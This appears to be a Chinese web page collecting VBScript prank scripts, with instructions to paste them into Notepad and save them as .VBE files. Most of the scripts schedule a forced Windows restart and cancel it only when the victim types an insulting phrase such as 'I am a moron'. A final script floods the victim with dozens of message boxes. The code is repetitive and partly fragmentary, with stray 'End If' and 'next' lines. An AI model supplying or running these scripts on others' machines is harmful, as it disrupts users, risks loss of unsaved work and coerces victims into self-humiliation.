WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试……"" ",0,true
dim a
do while(a <> "我是XX，大哥我真的是XX啊!")
a = inputbox ("说我是XX，就不关机，快说，说 ""我是XX，大哥我真的是XX啊!"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox "你终于承认了啊!感叹中……",vbinformation,"真听话啊!"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0,true
msgbox "哈哈，我也看你像XX~!",vbinformation,"同感啊~~!!"
End If
next

VBS整人代码

on error resume next
　　dim WSHshellA
　　set WSHshellA = wscript.createobject("wscript.shell")
　　WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是脑残，不说我是脑残就一分钟关机，不信，试下···"" ",0 ,true
　　dim a
　　do while(a <> "我是脑残")
　　a = inputbox ("说我是脑残,就不关机，快撒，说 ""我是脑残""　","说不说","",8000,7000)
　　msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
　　loop
　　msgbox chr(13) + chr(13) + chr(13) + "早说你是脑残就行了嘛"
　　dim WSHshell
　　set WSHshell = wscript.createobject("wscript.shell")
　　WSHshell.run "cmd.exe /c shutdown -a",0 ,true
　　msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""快说“我是脑残”，不说我是脑残就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是脑残")
a = inputbox ("说我是脑残,就不关机，快撒，说 ""我是脑残"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"
msgbox chr(13) + chr(13) + chr(13) + "乖孩子真听话啊"
msgbox chr(13) + chr(13) + chr(13) + "下次叔叔买糖给你吃"
msgbox chr(13) + chr(13) + chr(13) + "要吃什么糖啊"
msgbox chr(13) + chr(13) + chr(13) + "什么，大白兔？"
msgbox chr(13) + chr(13) + chr(13) + "不行，不行，大白兔吃了长石头啊"
msgbox chr(13) + chr(13) + chr(13) + "要不叔叔给你讲个故事"
msgbox chr(13) + chr(13) + chr(13) + "从前有个山"
msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"
msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"
msgbox chr(13) + chr(13) + chr(13) + "老和尚在给小和尚讲故事"
msgbox chr(13) + chr(13) + chr(13) + "讲什么故事呢"
msgbox chr(13) + chr(13) + chr(13) + "故事是这样的"
msgbox chr(13) + chr(13) + chr(13) + "从前有个山"
msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"
msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"
msgbox chr(13) + chr(13) + chr(13) + "什么，不听了"
msgbox chr(13) + chr(13) + chr(13) + "别哭别哭，叔叔给你买糖！"
复制代码一个整人的小代码，“说我是猪就不关机”
把上面的代码复制到记事本里，把后缀名改成.VBE
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 7 -c ""说我是脑残，不说我是脑残就关你机！···"" ",0 ,true
dim a
do while(a <> "我是脑残")
a = inputbox ("说我是脑残,就不关机，快撒，说 ""我是脑残"" ","说不说","我才不是变态！",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你真的是脑残~"
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说你是脑残，不说你是脑残就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "你是脑残")
a = inputbox ("说你是脑残,就不关机，快撒，说 ""你是脑残"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你确实是脑残加浩然QQ13800~"
on error resume next
　　dim WSHshellA
　　set WSHshellA = wscript.createobject("wscript.shell")
　　WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是脑残，不说我是脑残就一分钟关机，不信，试下···"" ",0 ,true
　　dim a
　　do while(a <> "我是脑残")
　　a = inputbox ("说我是脑残,就不关机，快撒，说 ""我是脑残""　","说不说","",8000,7000)
　　msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
　　loop
　　msgbox chr(13) + chr(13) + chr(13) + "早说你是脑残就行了嘛"
　　dim WSHshell
　　set WSHshell = wscript.createobject("wscript.shell")
　　WSHshell.run "cmd.exe /c shutdown -a",0 ,true
　　msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可爱的小朋吗?")
WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我")
WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。")
WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦")
WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！")
WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩45下，记得要快哦！")
WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下")
WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下")
WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下")
WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下")
WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下")
WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下")
WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下")
WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下")
WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下")
WScript.Echo("还剩15下")
WScript.Echo("还剩14下")
WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴")
WScript.Echo("还剩11下，以后就看不到我拉。555555")
WScript.Echo("还剩10下，你现在可以选择停止！")
WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家")
WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！")
WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？")
WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！")
WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！")
WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
超爽的！很有感情...